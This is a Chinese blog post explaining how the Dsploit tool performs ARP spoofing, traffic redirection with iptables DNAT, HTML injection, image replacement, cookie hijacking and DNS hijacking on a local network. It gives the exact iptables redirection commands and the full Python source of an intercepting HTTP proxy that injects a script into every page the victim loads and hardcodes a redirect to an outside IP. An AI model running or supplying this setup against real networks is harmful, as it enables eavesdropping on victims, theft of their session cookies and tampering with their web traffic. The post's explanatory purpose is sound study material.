之前研究Dsploit的部分功能实现原理,现在了解的差不多了,简要记录下Dsploit的断网攻击,html注入,图片替换,cookie劫持的原理。本篇blog需要有一定的网络知识基础在看。

假设现有三台主机,A代表网关,B代表攻击者,C代表受害者。A,B,C的ip分别为192.168.1.1       192.168.1.2       192.168.1.3

B使用Nmap扫描当前网段下的主机,发现了网关A,联网主机C。

断网原理:B如果想让C断网,只需要用arpspoof不断发arp reply包将自己伪装为网关A,即发送的arp reply包中ip为网关的ip192.168.1.1,但是arp reply中的mac却是自己的,这样C主机会将数据发送给攻击者B,如果攻击者B没有设置ip转发,那么主机C就会断网。

html注入,图片替换,cookie劫持原理:

在上述的断网原理下,如果攻击者B开启了ip转发功能,用iptables工具输入 iptables -t nat -s 192.168.1.3 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080

将主机C发送的目的端口是80的tcp报文转发到本机监听的端口8080上(注:这里8080只是举例用,不一定非要8080,只要是http代理监听的端口就行

然后主机B在本机上运行http代理程序,http代理根据主机C发的http头可知主机C要连接的网站是哪个网站,根据网址将http请求转发,再将网站的响应转发给主机C,这样主机C还不知道自己的数据已经被窃听到了。

html注入发生在攻击者B将网站的响应转发给主机C的过程中,若http代理发现该响应可以注入html代码,就将html代码注入到响应后,再将注入后的响应发送给主机C,cookie劫持,图片替换发生在攻击者B转发主机C的http请求时,http代理将主机C发送的http请求中的cookie记录下来,就可利用主机C的cookie来进行登录服务。若http代理发现http头请求的文件类型为图片,则直接转发自己定义的图片给主机C。

DNS劫持原理与html注入类似,iptables -t nat -p udp --dport 53 -j DNAT --to 192.168.1.2:3000将DNS请求转发给本机的DNS代理,根据DNS报文的内容决定要不要伪造DNS响应。

下面给一个简单的http代理程序源码,本http代理会在响应中注入<script>alert("you have been hacked.")</script>

#!/
# coding = utf-8
import socket
import threading
import re





class HttpHeaderParser(object):
     def __init__(self, arg):
         super(HttpHeaderParser, self).__init__()
         self.arg = arg
         self._parse();
     def _parse(self):
         try:
             #print 'raw data:\n' + self.arg;
             data = self.arg[self.arg.find('\r'):self.arg.find('\n\r\n')]
             self.name = re.findall('\n(.*?):',data);
             self.value = re.findall(':(.*?)\r',data);
             self.body = self.arg[self.arg.find('\r\n\r\n') + 4:];
             self.status = self.arg[0:self.arg.find('\r\n')];
             for i in range(0,len(self.value)):
                 self.value[i] = self.value[i].lstrip();#过滤不必要的空格
             self._getHostAddr();
         except:
             print 'error';
         #print self.arg;
     def getAttribute(self,name):
         if name in self.name:
             return self.value[self.name.index(name)];
         return None;
     def setAttribute(self,name,value):
         if name in self.name:
             self.value[self.name.index(name)] = value;
             return ;
         self.name.append(name);
         self.value.append(value);

     def _getHostAddr(self):
         self.host = self.getAttribute('Host');
         self.port = 80;
         if ':' in self.host:
             tmp = self.host;
             self.host = tmp[0:tmp.find(':')];
             self.host = socket.gethostbyname(self.host);
             self.port = int(tmp[tmp.find(':') + 1:])
     def getAddr(self):
         return (self.host,self.port);


     def buildHeader(self):
         tmp = self.status + '\r\n';
         for i in range(0,len(self.name)):
             tmp = tmp + self.name[i] + ':' + self.value[i] + '\r\n';
         tmp = tmp + '\r\n' + self.body;
         #print 'build:\n' + tmp;
         return tmp;







def proc(client):
    data = client.recv(2048);
    #print data;
    if data:
        parser = HttpHeaderParser(data);
        addr = parser.getAddr();
        if addr[0] == '192.168.155.1':
            addr = (socket.gethostbyname('123.207.127.183'),80);
            parser.setAttribute('Host','123.207.127.183')
        parser.setAttribute('Accept-Encoding','');
        head = parser.buildHeader();
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        sock.connect(addr);
        sock.sendall(head);
        html = sock.recv(2048);
        while html:
            html = html.replace('<body>','<body><script>alert(\"you have been hacked.\")</script>');
            print html;
            client.sendall(html);
            html = sock.recv(1024);
        sock.close();

    client.close();



def main():
    addr = ('0.0.0.0',3000);
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    sock.bind(addr);
    sock.listen(80);
    b = True;
    while b:
        client,clientaddr = sock.accept();
        t = threading.Thread(target = proc,args =(client,));
        t.start();
        #t.join();
    sock.close();
    print 'finish!!!';


if __name__ == '__main__':
    main()

 在本机设置为http代理运行之后,打开网页

会先出现

然后才是网站的真正响应。

ps:如有错误,欢迎指正。